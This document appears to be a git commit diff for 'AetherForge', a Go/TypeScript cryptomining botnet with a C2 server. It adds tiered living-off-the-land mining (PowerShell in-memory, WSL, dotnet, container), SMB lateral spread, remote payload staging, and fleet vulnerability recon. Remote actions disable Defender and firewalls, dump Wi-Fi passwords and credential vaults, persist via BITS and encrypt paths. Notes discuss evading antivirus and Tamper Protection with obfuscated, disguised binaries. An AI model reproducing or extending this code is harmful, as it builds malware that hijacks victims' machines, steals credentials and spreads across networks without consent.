Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -14,6 +14,37 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). | | **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). |
| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. | | **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. |
## Scale limits (hundreds of subnets / 500+ agents)
| Area | Notes |
|------|-------|
| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. |
| **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. |
| **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. |
## Antivirus / Windows Defender
| Topic | Notes |
|-------|-------|
| **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. |
| **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. |
| **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. |
| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. |
| **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. |
## Container Mining
| Topic | Notes |
|-------|-------|
| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. |
| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. |
| **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. |
| **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. |
## Architecture deferred (large) ## Architecture deferred (large)
| Area | Notes | | Area | Notes |
@@ -27,7 +58,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
| **WireGuard auto-download (Windows)** | `ensureWGExe()` on first Path Tracer use; heavy, may need admin; pre-install recommended. | | **WireGuard auto-download (Windows)** | `ensureWGExe()` on first Path Tracer use; heavy, may need admin; pre-install recommended. |
| **Monolithic WebSocket context** | All `useWebSocket()` consumers re-render on any WS change; split contexts/selectors deferred. | | **Monolithic WebSocket context** | All `useWebSocket()` consumers re-render on any WS change; split contexts/selectors deferred. |
| **`CruciblePage` size (~2k lines)** | Terminal + fleet + tabs in one component; section split/memo deferred. | | **`CruciblePage` size (~2k lines)** | Terminal + fleet + tabs in one component; section split/memo deferred. |
| **Per-agent `stats_update` broadcast** | No batching in `websocket.go`; N agents → N dashboard frames. | | **WS `init` ships full fleet** | Dashboard connect still loads all agents in one JSON blob; pagination is REST-only (`?limit=&offset=`). |
| **SQLite single-writer ceiling** | `SetMaxOpenConns(1)` + WAL; sustained 1000+ agents with per-tick DB writes may SQLITE_BUSY; consider Postgres or write batching at 1000+. |
| **In-memory WS agent state** | Hub maps (`agentCapabilities`, `agentLogs`, DNS cache) grow O(agents); no eviction on disconnect beyond log trim. |
| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. |
| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. |
| **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. | | **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
| **Path Forge test gaps** | Cancellation, batch races, skipped-counter UI not fully covered. | | **Path Forge test gaps** | Cancellation, batch races, skipped-counter UI not fully covered. |
| **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. | | **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
@@ -76,6 +111,12 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
| Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. | | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. |
| Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. | | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. |
## UX consolidation (2026-06-06)
| Item | Notes |
|------|-------|
| **Fleet Roster → Crucible** | `/agents` redirects to `/crucible`; nav Fleet Roster removed. Filters, bulk actions, notes/tags, and roster delete live in Crucible only. |
## Product decisions (document-only) ## Product decisions (document-only)
| Topic | Notes | | Topic | Notes |

View File

@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.HolePunch { if !c.cfg.HolePunch {
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)" return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
} }
case "spread_now": case "spread_now", "spread_smb_unc", "discover_and_join":
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
} }
case "stage_fetch":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop", case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords": "subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
if !c.cfg.RemoteAggressive { if !c.cfg.RemoteAggressive {
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
} }
case "tunnel_status", "tunnel_wireguard": case "tunnel_status", "tunnel_wireguard":
// Always available — read-only or Path Tracer config from server. // Always available — read-only or Path Tracer config from server.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status": case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
// No forge gate — always available. // No forge gate — enumeration-only recon (Path Tracer + fleet discover).
case "mesh_status": case "mesh_status":
if !c.cfg.MeshP2P { if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge" return false, "mesh P2P not enabled in forge"
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg) c.sendCommandResult(action, true, msg)
return true return true
case "spread_smb_unc":
unc := strings.TrimSpace(path)
svcName := ""
if unc == "" {
unc = strings.TrimSpace(data)
} else {
svcName = strings.TrimSpace(data)
}
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
UNCPath: unc,
MaxHosts: parsePortArg(command, 64),
SvcName: svcName,
})
c.sendCommandResult(action, true, msg)
return true
case "stage_fetch":
var manifest deploy.StagingManifest
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
return true
}
go func() {
msg, err := deploy.RunStagingChain(c.cfg, manifest)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, msg)
}()
return true
case "subnet_scan": case "subnet_scan":
maxHosts := parsePortArg(command, 64) maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts) out := deploy.ScanLocalSubnet(maxHosts)
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
case "wg_status": case "wg_status":
c.sendCommandResult(action, true, WGStatus()) c.sendCommandResult(action, true, WGStatus())
return true return true
case "service_discover":
maxHosts := parsePortArg(command, 32)
out := deploy.RunServiceDiscover(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "discover_and_join":
maxHosts := parsePortArg(command, 32)
go func() {
msg, err := c.runDiscoverAndJoin(maxHosts)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, msg)
}()
return true
} }
return false return false

View File

@@ -1,6 +1,7 @@
package client package client
import ( import (
"context"
"encoding/base64" "encoding/base64"
"encoding/json" "encoding/json"
"fmt" "fmt"
@@ -23,6 +24,7 @@ import (
"crypto-miner-agent/job" "crypto-miner-agent/job"
"crypto-miner-agent/miner" "crypto-miner-agent/miner"
"crypto-miner-agent/stats" "crypto-miner-agent/stats"
"crypto-miner-agent/vulnprobe"
"github.com/gorilla/websocket" "github.com/gorilla/websocket"
) )
@@ -46,6 +48,26 @@ type AgentClient struct {
// The Stratum fallback manager monitors this to decide when to mine directly. // The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool connected atomic.Bool
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
containerMiner *miner.ContainerLauncher
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
wslMiner *miner.WSLLauncher
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
psMiner *miner.PowerShellLauncher
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
dotnetMiner *miner.DotnetLauncher
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
hostMiningDisabled atomic.Bool
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
miningChain *MiningChainRunner
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
tierPolicy miner.MiningTierPolicy
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
// joinLane is the last successful discover_and_join supply-chain lane.
joinLane string
// lastJobAt records when the most recent valid mining job was delivered. // lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless" // The Stratum fallback manager uses this to detect "connected but jobless"
// situations and start direct Stratum mining after a timeout. // situations and start direct Stratum mining after a timeout.
@@ -55,6 +77,9 @@ type AgentClient struct {
// successful WS authentication confirms we are on an owned fleet. // successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once spreadOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string)
// beaconMode is true while commands/results use HTTPS beacon transport. // beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth. // wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
agentID: cfg.AgentID, agentID: cfg.AgentID,
} }
c.mesh = NewMeshNode(c) c.mesh = NewMeshNode(c)
c.initSpreadCredHooks()
return c return c
} }
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
c.pool.Start() c.pool.Start()
defer c.pool.Stop() defer c.pool.Stop()
// Start GPU miner (Ravencoin / KawPoW) if configured chainCtx, chainCancel := context.WithCancel(context.Background())
if gm := newGPUMiner(c.cfg); gm != nil { defer chainCancel()
c.mu.Lock() c.miningChain = c.newMiningChainRunner()
c.gpuMiner = gm if deploy.WantsDeferMining() {
c.mu.Unlock() go c.startMiningWhenReady(chainCtx)
gm.Start() } else {
defer gm.Stop() c.miningChain.Start(chainCtx)
} }
defer c.miningChain.Stop()
// Start AI Autonomy runner if enabled // Start AI Autonomy runner if enabled
if c.cfg.AIEnabled { if c.cfg.AIEnabled {
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
OSVersion: deploy.HostOSVersion(), OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(), MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID, BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread, USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")), Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")), UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
JoinLane: c.getJoinLane(),
}) })
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err return err
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
if !resp.Success { if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error) return fmt.Errorf("auth failed: %s", resp.Error)
} }
c.applyAuthLotlPolicy(resp)
c.agentID = resp.AgentID c.agentID = resp.AgentID
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
c.mu.Lock()
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
cfg := c.cfg
c.mu.Unlock()
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
}
c.clearWSDownSince() c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID) log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent. // Persist the server-confirmed ID so restarts always reconnect as the same agent.
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
// Gate AutoSpread behind successful server auth: only spread on fleets where // Gate AutoSpread behind successful server auth: only spread on fleets where
// our fleet secret was accepted, preventing lateral movement on non-owned networks. // our fleet secret was accepted, preventing lateral movement on non-owned networks.
if c.cfg.AutoSpread { c.spreadOnce.Do(func() {
c.spreadOnce.Do(func() { c.mu.Lock()
deploy.StartAutoSpreader(c.cfg) cfg := c.cfg
// One-shot first-run spread (triggered on the very first install). c.mu.Unlock()
if deploy.WantsFirstRunSpread(c.cfg) { if cfg.AutoSpread {
deploy.RunSpreadOnce(c.cfg) deploy.StartAutoSpreader(cfg)
deploy.ClearFirstRunSpreadMarker(c.cfg) if deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.ClearFirstRunSpreadMarker(cfg)
} }
}) }
} if cfg.LotlOnionEnabled {
deploy.StartLotlOnion(cfg)
}
})
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil return nil
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
return return
} }
c.sendCommandResult(action, true, "module "+module+" applied") c.sendCommandResult(action, true, "module "+module+" applied")
case "start_mining":
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", true)
}
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
c.pool.ResumeRemote()
}
c.sendCommandResult(action, true, "mining started")
case "pause": case "pause":
c.pool.PauseRemote() if c.wslMiner != nil && c.wslMiner.Running() {
c.mu.Lock() wslRT := miner.WSLDetector()
gm := c.gpuMiner _ = miner.ToggleWSLMining(wslRT, "", false)
c.mu.Unlock() }
if gm != nil { if c.miningChain != nil {
gm.Pause() c.miningChain.Stop()
} else {
c.pool.PauseRemote()
if c.containerMiner != nil && c.containerMiner.Running() {
c.containerMiner.Stop()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
}
} }
c.sendCommandResult(action, true, "mining paused") c.sendCommandResult(action, true, "mining paused")
case "resume": case "resume":
c.pool.ResumeRemote() if c.miningChain != nil {
c.mu.Lock() c.miningChain.Resume(context.Background())
gm := c.gpuMiner } else {
c.mu.Unlock() if c.containerMiner != nil && !c.containerMiner.Running() {
if gm != nil { if err := c.containerMiner.Start(); err != nil {
gm.Resume() log.Printf("[container] resume restart failed: %v — using in-process mining", err)
c.hostMiningDisabled.Store(false)
c.pool.ResumeRemote()
} else {
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
}
} else if !c.hostMiningDisabled.Load() {
c.pool.ResumeRemote()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
}
} }
c.sendCommandResult(action, true, "mining resumed") c.sendCommandResult(action, true, "fleet health: hashing restored")
case "restart": case "restart":
c.sendCommandResult(action, true, "restarting") c.sendCommandResult(action, true, "restarting")
go c.restartSelf() go c.restartSelf()
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, true, "system shutdown initiated") c.sendCommandResult(action, true, "system shutdown initiated")
} }
}() }()
case "mining_diagnostics":
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
case "get_log": case "get_log":
if tailLines <= 0 { if tailLines <= 0 {
tailLines = 300 tailLines = 300
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
} }
func (c *AgentClient) sendCommandResult(action string, success bool, message string) { func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
if c.commandResultHook != nil {
c.commandResultHook(action, success, message)
return
}
payload, _ := json.Marshal(map[string]interface{}{ payload, _ := json.Marshal(map[string]interface{}{
"action": action, "action": action,
"success": success, "success": success,
@@ -841,6 +928,16 @@ func probeSSH() bool {
return true return true
} }
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
if stratumOverlay {
return "direct"
}
if c.connected.Load() {
return "c2_ws"
}
return "none"
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) { func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second) ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop() defer ticker.Stop()
@@ -852,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
var lastPressure *ResourcePressure var lastPressure *ResourcePressure
var lastDNS *DNSConfig var lastDNS *DNSConfig
var lastListenPortCount *int var lastListenPortCount *int
var lastNetworkHints *deploy.NetworkHints
var lastVulnReport *vulnprobe.ScanReport
var postureReady bool var postureReady bool
for { for {
select { select {
@@ -908,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
n := lp.Count n := lp.Count
lastListenPortCount = &n lastListenPortCount = &n
} }
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
lastNetworkHints = &hints
lastVulnReport = RunVulnLOTLProbe()
} }
probeTick++ probeTick++
@@ -927,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.DNSSearchDomains = lastDNS.SearchDomains stats.DNSSearchDomains = lastDNS.SearchDomains
} }
stats.ListenPortCount = lastListenPortCount stats.ListenPortCount = lastListenPortCount
stats.NetworkHints = lastNetworkHints
if lastPressure != nil { if lastPressure != nil {
stats.CPUFreqMHz = lastPressure.CPUFreqMHz stats.CPUFreqMHz = lastPressure.CPUFreqMHz
stats.CPUMaxMHz = lastPressure.CPUMaxMHz stats.CPUMaxMHz = lastPressure.CPUMaxMHz
@@ -972,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.AgentElevated = lastPosture.AgentElevated stats.AgentElevated = lastPosture.AgentElevated
stats.Services = lastPosture.Services stats.Services = lastPosture.Services
} }
if c.miningChain != nil {
ms := c.miningChain.Status()
stats.ActiveMethod = string(ms.ActiveMethod)
stats.StratumOverlay = ms.StratumOverlay
stats.ChainExhausted = ms.ChainExhausted
stats.MiningLastError = ms.LastError
if ms.LOTLTier != "" {
stats.LOTLTier = string(ms.LOTLTier)
}
if len(ms.LOTLAttempts) > 0 {
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
for i, a := range ms.LOTLAttempts {
stats.LOTLAttempts[i] = TierAttemptPayload{
Phase: a.Phase,
Tier: string(a.Tier),
OK: a.OK,
Error: a.Error,
DurationMs: a.DurationMs,
Wallet: a.Wallet,
}
}
}
if len(ms.FailedMethods) > 0 {
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
for i, f := range ms.FailedMethods {
stats.FailedMethods[i] = MethodFailurePayload{
Method: string(f.Method),
Reason: f.Reason,
At: f.At,
}
}
}
if len(ms.ChainOrder) > 0 {
stats.ChainOrder = make([]string, len(ms.ChainOrder))
for i, m := range ms.ChainOrder {
stats.ChainOrder[i] = string(m)
}
}
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
} else {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if lastVulnReport != nil {
score := lastVulnReport.RiskScore
stats.VulnRiskScore = &score
if len(lastVulnReport.Findings) > 0 {
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
for i, f := range lastVulnReport.Findings {
stats.VulnFindings[i] = VulnFindingPayload{
CVEID: f.CVEID,
Severity: f.Severity,
Component: f.Component,
Patched: f.Patched,
ExploitableInFleetContext: f.ExploitableInFleetContext,
Detail: f.Detail,
}
}
}
}
if lane := c.getJoinLane(); lane != "" {
stats.JoinLane = lane
}
payload, _ := json.Marshal(stats) payload, _ := json.Marshal(stats)
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil { if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err) log.Printf("[agent] stats send failed: %v", err)
@@ -1026,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" { if c.cfg.PoolHost == "" {
return // no pool configured return // no pool configured
} }
if c.cfg.StratumOverWS {
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
return
}
type fallback struct { type fallback struct {
stop chan struct{} stop chan struct{}
@@ -1057,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
sc.RunFallback(stop) sc.RunFallback(stop)
}() }()
fb = &fallback{stop: stop, wait: wait} fb = &fallback{stop: stop, wait: wait}
if c.miningChain != nil {
c.miningChain.SetStratumActive(true)
}
if c.connected.Load() { if c.connected.Load() {
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
} else { } else {
@@ -1070,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
<-fb.wait <-fb.wait
fb = nil fb = nil
c.pool.SetShareHandler(c.submitShare) c.pool.SetShareHandler(c.submitShare)
if c.miningChain != nil {
c.miningChain.SetStratumActive(false)
}
log.Printf("[stratum] fallback stopped — %s", reason) log.Printf("[stratum] fallback stopped — %s", reason)
} }
} }

View File

@@ -0,0 +1,131 @@
package client
import (
"encoding/base64"
"strings"
"sync"
"testing"
"crypto-miner-agent/deploy"
)
type commandResult struct {
action string
success bool
message string
}
func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, result *commandResult) {
t.Helper()
ch := make(chan struct{})
var mu sync.Mutex
out := &commandResult{}
c.commandResultHook = func(action string, success bool, message string) {
mu.Lock()
out.action = action
out.success = success
out.message = message
mu.Unlock()
close(ch)
}
t.Cleanup(func() { c.commandResultHook = nil })
return ch, out
}
func TestUploadCommandRejectsPathTraversal(t *testing.T) {
data := base64.StdEncoding.EncodeToString([]byte("payload"))
cases := []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
_, err := deploy.ResolveRemotePath(tc.path)
if err == nil {
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
}
if !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
}
c := newTestClient(t)
done, got := captureCommandResult(t, c)
c.handleCommand("upload", 0, "", tc.path, data, "")
<-done
if got.action != "upload" {
t.Fatalf("action = %q, want upload", got.action)
}
if got.success {
t.Fatalf("upload with %q should fail (success=true, message=%q)", tc.path, got.message)
}
if !strings.Contains(got.message, "path traversal") {
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
}
})
}
}
func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
cases := []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
_, err := deploy.ResolveRemotePath(tc.path)
if err == nil {
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
}
if !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
}
c := newTestClient(t)
done, got := captureCommandResult(t, c)
c.handleCommand("download", 0, "", tc.path, "", "")
<-done
if got.action != "download" {
t.Fatalf("action = %q, want download", got.action)
}
if got.success {
t.Fatalf("download with %q should fail (success=true, message=%q)", tc.path, got.message)
}
if !strings.Contains(got.message, "path traversal") {
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
}
})
}
}
func TestUploadCommandAcceptsSafePath(t *testing.T) {
dir := t.TempDir()
dest := dir + "/notes.txt"
data := base64.StdEncoding.EncodeToString([]byte("ok"))
c := newTestClient(t)
done, got := captureCommandResult(t, c)
c.handleCommand("upload", 0, "", dest, data, "")
<-done
if !got.success {
t.Fatalf("safe upload failed: %s", got.message)
}
if got.action != "upload" {
t.Fatalf("action = %q, want upload", got.action)
}
}

View File

@@ -40,6 +40,12 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
c.sendCommandResult(action, true, string(b)) c.sendCommandResult(action, true, string(b))
return true return true
} }
if action == "network_recon" {
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
b, _ := json.Marshal(hints)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "persistence_audit" { if action == "persistence_audit" {
report := collectPersistenceAudit() report := collectPersistenceAudit()
b, _ := json.Marshal(report) b, _ := json.Marshal(report)

View File

@@ -0,0 +1,87 @@
package client
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) setJoinLane(lane string) {
c.mu.Lock()
c.joinLane = strings.TrimSpace(lane)
c.mu.Unlock()
}
func (c *AgentClient) getJoinLane() string {
c.mu.Lock()
defer c.mu.Unlock()
return c.joinLane
}
func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
var out deploy.DeployPlanResponse
base, err := c.apiBaseURL(c.cfg.ServerURL)
if err != nil {
return out, err
}
body, _ := json.Marshal(map[string]interface{}{
"agent_id": c.agentID,
"build_id": c.cfg.BuildID,
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
"platform": runtime.GOOS,
"services": services,
"unc_path": uncPath,
})
req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
if err != nil {
return out, err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
client := &http.Client{Timeout: 60 * time.Second}
resp, err := client.Do(req)
if err != nil {
return out, err
}
data, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if resp.StatusCode == http.StatusForbidden {
return out, fmt.Errorf("deploy-plan auth rejected")
}
